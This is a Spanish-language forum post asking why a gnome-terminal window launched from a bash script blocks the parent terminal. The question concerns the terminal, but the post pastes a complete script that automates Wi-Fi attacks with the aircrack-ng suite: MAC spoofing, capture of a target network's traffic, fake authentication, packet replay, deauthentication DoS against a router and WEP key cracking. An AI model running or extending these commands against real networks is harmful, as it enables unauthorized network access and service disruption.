He estado probando dentro del script al que queria agregarlo y no me a dado el resultado que queria
.
Se abre una terminal con el comando que le digo, pero esta no es independiente de la terminal padre ( por así decirlo).
Es decir, cuando ejecuto el comando "gnome-terminal -x bash -c ifconfig" me saca una nueva ventana de terminal pero en la que e introducido el código se queda esperando a que la otra acabe y si hago un ctrl+c a cualquiera de las dos se para la que se ha abierto nueva.
Os pongo el código completo por si es otra cosa la que se me escapa:
#!/bin/bash
iwconfig
read -p 'introduce el interfaz a usar: ' inter
airmon-ng start $inter
read -n 4 -p 'introduce el monitor que utilizaras para cambiar su mac: ' mon
ifconfig $mon down
macchanger -m aa:00:aa:00:aa:00 $mon
$macmon == aa:00:aa:00:aa:00
echo 'pulsa control+c cuando veas la red'
airodump-ng $mon
trap 'ataques' EXIT;
function ataques()
{
read -p 'introduce el nombre de la red: ' nom ;
read -n 17 -p 'introduce la mac: ' mac ;
read -n 2 -p 'introduce su canal: ' can ;
gnome-terminal -x bash -c "airodump-ng -w $nom -c $can --bssid $mac $mon" ;
while [ $SALIR=1 ] ; do
read -p 'indica que ataque quieres iniciar:
-Autentificacion (1) -Captura de paquetes (2) -DoS a router (3) -Sacar clave (4) -salir (5) : ' ata ;
case $ata in
1) gnome-terminal -x bash -c "aireplay-ng -1 0 -e $nom -a $mac -h $macmon $mon" ;;
2) gnome-terminal -x bash -c "aireplay-ng -3 -e $nom -a $mac -h $macmon $mon" ;;
3) gnome-terminal -x bash -c "aireplay-ng -0 0 -e $nom -a $mac $mon" ;;
4) gnome-terminal -x bash -c "aircrack-ng ./$nom*.cap" ;;
5) break ;;
*) echo 'lo escrito no es correcto'
esac
done
}
el problema esta en la linea
gnome-terminal -x bash -c "airodump-ng -w $nom -c $can --bssid $mac $mon"
Me abre la nueva terminal con este comando pero no me deja hacer nada en la terminal de origen.
No hay alguna otra manera de que la terminal nueva sea totalmente independiente de la terminal de origen?